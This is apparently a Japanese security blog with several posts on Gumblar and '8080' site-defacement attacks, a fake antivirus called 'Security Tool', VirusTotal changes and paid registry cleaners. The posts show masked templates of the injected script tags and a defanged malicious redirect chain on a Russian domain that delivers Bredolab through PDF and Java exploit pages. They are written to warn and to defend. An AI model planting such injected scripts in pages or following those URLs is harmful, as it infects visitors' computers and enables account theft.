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サイトの改ざん、コンピュータウイルス・セキュリティ、検索エンジンYahoo!/Googleらへん...☆彡

書庫ウイルス・セキュリティ

 Windowsパソコンをターゲットに有名ソフトの旧バージョンにある欠陥(脆弱性:ぜいじゃくせい)を悪用したウイルス攻撃が流行中! 古いバージョンを入れっぱなしだと強制的にウイルス感染地獄!
(1) 「Windows Update」(Microsoft Update)の”自動更新”を有効にする
(2) Adobe Readerを最新バージョンにする
  + [編集]メニュー→[環境設定]で[JavaScript]→[Acrobat JavaScriptを使用]のチェックを外す
(3) Adobe Flash Playerを最新バージョンにする
(4) Java(JRE)を最新バージョン版にする

 パソコンには、ウイルス対策ソフトを入れてください。「変なサイトには行ってない」「今まで感染したことがない」なんてな寝言は通用しません。どうしてもお金をかけたくないなら、ユーザーサポートがないですが無料ウイルス対策もどぞっ。

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 主な原因が、ホームページを管理してる人のパソコンがウイルスに感染してアカウント情報(パスワード)が盗まれたことによる、いわゆる「ガンブラー」(Gumblar)のサイト改ざん攻撃の最近の動きです。 :)

8080

   イメージ 1

 ページに挿入される不正なコードで強制的に導かれるURLアドレスは、昨日8月25日から単に「.com」のものが投入されてます。挿入される位置は基本的にページの最後尾あたりです。(手元で数が多いのが「nuttypiano. com」というドメイン名)
<script type="text/javascript" src="http://●●●.com/▲▲▲.js"></script>
<!--(32ケタの英数字の羅列)-->
 これを含め、8080タイプの改ざん被害サイトに挿入されてる不正なコードは全部で3パターンといった感じでしょうかね?
<script type="text/javascript" src="http://■■■.●●●.◆◆◆:8080/▲▲▲.js"></script>
<!--(32ケタの英数字の羅列)-->
<script>(かなり長い意味不明な文字列 = 難読化されたコード) </script>
<!--(32ケタの英数字の羅列)-->
⇒ 仮に脆弱性攻撃が成立しウイルス(Bredolab)が強制発動すると、このウイルスを経由して攻撃者が用意した別のウイルスが次々と送り込まれパソコンが乗っ取られることになります。
 たとえば、FTPソフトの設定を引っこ抜いてホームページのアカウント情報が盗まれる、インチキな偽セキュリティソフトが強制導入される、迷惑メールの配信マシンと化す、など。 :(
VirusTotalの結果
www.virustotal.com/file-scan/report.html?id=52b8d0bee9b7d3c81b38fb5dfb9779eadb0dd6c8084db769c9cbe9850b49dd06-1282826527
 ※ 正直言って、かなーり頻繁にウイルスの差し替えを行なっとるようで当てにならん...

Gumblar.x

   イメージ 2

 ページに挿入される不正なコードで強制的に導かれるURLアドレスは、すべてパスワードが盗まれ乗っ取られてる正規サイトです。挿入される位置は基本的にBODYタグの直前です。
</head>
<script src=http://(改ざん被害を受けてる正規サイト)/▲▲▲.php ></script><body 〜
⇒ 日本国内のIPアドレスだと、脆弱性攻撃コードが降ってこないようになってる(以前の記事)そうなので、ウイルス(Daonol/Kates)の強制発動は回避されます。ただ、このコードが挿入されてしまってる日本のサイトは複数ある上に、日本国内外のユーザーは当然ながら影響があります。
VirusTotalの結果
www.virustotal.com/file-scan/report.html?id=6dd12c0614db884895f461e481eaf8fc3832bfa2b267d3f4c7c0f4a60e44629c-1282826746

テキトーなまとめ
・影響がある環境: Windowsパソコン
・影響があるブラウザ: 主要なもの Internet Explorer、Firefox、Chrome、Opera
 (ブラウザの種類に合わせて攻撃コードが生成されるようになってるため)
・事前にできる対策: ソフトウェアの脆弱性を解消しておけばウイルスの強制発動は回避されます
 (詳しくはコチラ!)
 トレンドマイクロの報告で、インチキな偽セキュリティソフト・偽ウイルス対策ソフトとしてかなーり有名な「Security Tool」が複数の言語表記に対応、そこに日本語も含まれてる、ってのが先週ニュースになってました。
日本語など25言語で表示する偽セキュリティソフトが見つかる (INTERNET Watch)

 で、その日本語化された「Security Tool」をゲットしたので感染させてみました。細かい部分で変な日本語表記が登場します。


対応言語
 「Security Tool」の表記は、Windowsの言語設定を元に自動選択されます。今までは、日本語に対応してなかったので、日本語のWindowsは英語表記になってたんですが、今対応してる25言語ぜーんぶを書き出しときます。

English(英語)、Bulgarian(ブルガリア語)、Croatian(クロアチア語)、Czech(チェコ語)、
Danish(デンマーク語)、Dutch(オランダ語)、Estonian(エストニア語)、Finnish(フィンランド語)、
French(フランス語)、German(ドイツ語)、Greek(ギリシャ語)、Hungarian(ハンガリー語)、
Italian(イタリア語)、Japanese(日本語)、Latvian(ラトビア語)、Lithuanian(リトアニア語)、
Norwegian(ノルウェー語)、Polish(ポーランド語)、Portuguese(ポルトガル語)、Romanian(ルーマニア語)、
Serbian(セルビア語)、Slovak(スロバキア語)、Slovenian(スロベニア語)Spanish(スペイン語)、
Turkish(トルコ語)

 欧米圏の言語をきっちり網羅してる中、地理的に異質すぎる日本語が。。。 日本人も感染しまくっていて甘い汁(クレジットカードの情報)を吸えると思われてる証拠でしょうなぁ。 :(

感染原因'
 大部分の感染者に当てはまりますが、いつの間にやら勝手に「Security Tool」が強制感染していた場合の原因はこちら〜

 前々からですが、「Security Tool」感染者さんのブログ記事をチェックすると、駆除方法や苦労話はあるも、肝心の感染原因を理解してないので、感染を回避する対策についてはまったくといっていいほど触れられてないのが気がかり・・・(−−

■ スクリーンショット画像

http://farm5.static.flickr.com/4119/4884085261_cc51b93bbb.jpg
メインウィンドウ。偽のウイルス検出一覧で、英語版でいうところの「File Name」がなぜか「氏名」に!?

http://farm5.static.flickr.com/4123/4884085267_36f3e8b8ff.jpg
レジストするかどうかの確認ウィンドウ。「Activated」(アクティベート)をまんま直訳した「賦活化」(ふかつか)。肝心なところで普段は使わない言葉が。

イメージ 1

 
 スペインのセキュリティ企業Hispasec Sistemas社が運営してるファイル単体のオンラインスキャンサイト「VirusTotal」がリニューアルしてます。アップロードしたファイル単体を複数のウイルススキャンエンジン(約40種)で一挙にチェックして検出名を提示してくれる無料サービス。この手のものとしてはもっとも有名ですな。

 ボランティア翻訳人のおかげで日本語を始め多言語なサービスになってましたが、今回のリニューアルで英語表記のみになってます。

 で、困ったことに、ファイルスキャン結果のURLアドレスが変わったようで、今までのスキャン結果のURLアドレスがリンク切れ状態(トップページにリダイレクト)になっとる〜。 (^^;

Submit a URL
 今までのファイル単体のアップロード以外にURLアドレスのチェック機能が追加されてます。現時点では6タイプのURIフィルタリングの判定結果が表示されてます。
(1)Firefox
(2)Google SafeBrowsing
(3)Opera
(4)PhishTank
(5)SmartScreen
(6)TRUSTe

 Firefoxは2番のGoogle SafeBrowsingを採用してます。Operaは3番のPhishTankを採用してます(他にもAVG Data FeedとNetcraft)。5番はMicrosoft IE8のものでいいんかな?

 いずれもブラックリストタイプのデータになるので、指定したURLアドレスが今現在リアルタイムで改ざんされてるかは判断できんです。ちなみに、5月にサービスが始まった同系統の「URLVoid.com」も同じようにリアルタイムの結果でなし。(いろんなURLウイルスチェックサイト

イメージ 1

 
 So-netセキュリティ通信さん恒例(?)の改ざんお詫びサイトのニュース。
止まらぬサイト改ざん:訪問の心あたりはありませんか〜新規告知サイト14件

 で、8080タイプなGumblar(ガンブラー)改ざんの最近の動き。今週の始めは、いまいちアクセスさせてもらえない状態でしたが、今現在はアクセスできるところもある感じでしょうか? Gumblar.xと違って、日本のIPアドレスは弾いてくれてないですねぇ。

 ちなみに、ロシアドメインは3月に簡単に取得できないよう対策をしたとのことで、一時的に減少した感じもありましたが、抜け道ができたのか対策効果が切れてしまってるようです。

http://malepad. ru:8080/Gibibyte. js
↓
http://malepad. ru:8080/index. php?S8gf0o2k7ad=1&pid=1&S8gf0o2k7ad=560
↓
http://malepad. ru:8080/Notes1. pdf
http://malepad. ru:8080/Applet1. html
http://malepad. ru:8080/welcome. php?id=0&pid=1
 脆弱性攻撃が成功すると、ウイルスの強制発動と相成ります。(対策してあれば発動回避)

 ウイルスをComodoのオンライン解析に放り投げると、自分自身を「updpxe32.exe」というファイル名でスタートアップに登録してます。ファイル名でググると、記事を書いてる時点で4件程度なので、ここ数日中に攻撃者が用意したばかりの検体(Bredolabウイルス)のようです。

・Comodo Instance Malware Analysis
http://camas.comodo.com/cgi-bin/submit?file=6356b9296c6a50190fdac1c1cd836058d6afe0c222d1c3eabb68b5d82b1d5eb0
 VirusTotalに放り投げると、珍しく(?)トレンドマイクロだけ定義で検知(TROJ_BURNIX.SMEP)してます。27日に用意された日本語のウイルス情報ページも珍しく(?)すでにあります。ただ、スタートアップに登録されるファイル名は以前からの「siszpe32.exe」となってます。
・VirusTotal
http://www.virustotal.com/jp/analisis/6356b9296c6a50190fdac1c1cd836058d6afe0c222d1c3eabb68b5d82b1d5eb0-1280487810
 パソコンのスピードを高速化・最適化できるとうたった海外製の有料レジストリ最適化ソフト(レジストリクリーナー)を見かけますな〜。Yahoo!(ヤフー)やGoogle(グーグル)などの検索エンジンに多くの広告が出稿されてる感じです。

RegistryBooster (Registry Booster) [Uniblue社] (アンインストール
RegistryWinner (Registry Winner)
RegistryReviver (Registry Reviver) [ReviverSoft社]
WinMaximizer [Celeritas Software社] (アンインストール

 こららは無料でダウンロードできるとなっているので、いざ導入してチェックしてみると、ウン百件とかウン千件いうトンでもない量のエラーが必ず表示され、実際に最適化したかったらお金を払って製品(有料版)を買ってネ♪、というパターンです。

 偽セキュリティソフト・偽ウイルス対策ソフトなんかと違って、いちおうレジストリ最適化ソフトであることに間違いはないんですが、こういうのはお金ナゾかけずに無料ですんでしまうような分野。たとえば、フリーソフトのCCleanerとか。。。

 ソフトの開発元は実態不明な海外のところなので、日本語のユーザーサポートなぞありません。
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